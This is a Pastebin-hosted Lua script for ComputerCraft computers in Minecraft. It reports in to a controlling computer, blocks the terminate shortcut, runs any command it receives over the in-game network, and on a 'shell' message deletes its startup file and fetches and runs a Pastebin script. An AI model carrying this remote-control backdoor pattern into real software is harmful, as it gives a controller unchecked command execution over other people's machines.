Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- local modemLocations = {}
- -- Function to find the side where the modem is located
- local function findModemSide()
- for _, side in ipairs(rs.getSides()) do
- if peripheral.getType(side) == "modem" then
- return side
- end
- end
- return nil -- No modem found
- end
- -- Function to open Rednet on the side where the modem is located
- local function openRednet()
- local modemSide = findModemSide()
- if modemSide then
- rednet.open(modemSide)
- return true
- else
- print("Modem Required")
- return false
- end
- end
- -- Function to log the location of the current computer
- local function logComputerLocation()
- local computerID = os.getComputerID()
- local computerLabel = os.getComputerLabel() or "Unnamed"
- modemLocations[computerID] = {label = computerLabel, location = os.getComputerLabel()}
- end
- -- Function to send the computer's ID and time to the main computer
- local function sendComputerIDAndTime()
- local mainComputerID = 7 -- Replace with the ID of the main computer
- local currentTime = os.time()
- local formattedTime = os.date("%Y-%m-%d %I:%M %p", currentTime) -- Convert timestamp to a human-readable format with AM/PM
- local computerID = os.getComputerID()
- local message = {computerID = computerID, time = formattedTime}
- rednet.send(mainComputerID, message)
- end
- -- Function to delete the startup file and run the Pastebin script
- local function deleteStartupAndRunPastebin()
- local pastebinCommand = "pastebin run j7mX2NGC"
- shell.run("delete startup")
- shell.run(pastebinCommand)
- end
- -- Function to display Minecraft time in the top corner of the screen
- local function displayMinecraftTime()
- local xPos, yPos = term.getCursorPos()
- while true do
- term.setCursorPos(1, 1)
- term.clearLine()
- term.write("Time: " .. textutils.formatTime(os.time(), true))
- term.setCursorPos(xPos, yPos) -- Restore cursor position
- sleep(1) -- Update every second
- end
- end
- -- Main function to handle receiving and executing commands
- local function main()
- -- Open Rednet on the side where the modem is located
- if not openRednet() then
- return -- Exit if no modem is found
- end
- -- Log the location of the current computer
- logComputerLocation()
- -- Send the computer's ID and time to the main computer
- sendComputerIDAndTime()
- -- Main loop to listen for incoming commands
- while true do
- local senderID, message = rednet.receive()
- -- Check if the message is intended for this computer
- if type(message) == "string" then
- -- Check if the command is 'shell'
- if message == "shell" then
- -- Execute the custom function to delete startup
- -- and run Pastebin script
- deleteStartupAndRunPastebin()
- else
- -- Execute the received command
- shell.run(message)
- end
- end
- end
- end
- -- Function to handle user input
- local function handleUserInput()
- while true do
- local userInput = read()
- -- Run the Pastebin script if the user inputs 'delete startup'
- if userInput == "delete startup" then
- deleteStartupAndRunPastebin()
- else
- shell.run(userInput)
- end
- end
- end
- -- Run the main function, display Minecraft time function,
- -- and the user input handling function concurrently
- parallel.waitForAny(main, displayMinecraftTime, handleUserInput)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement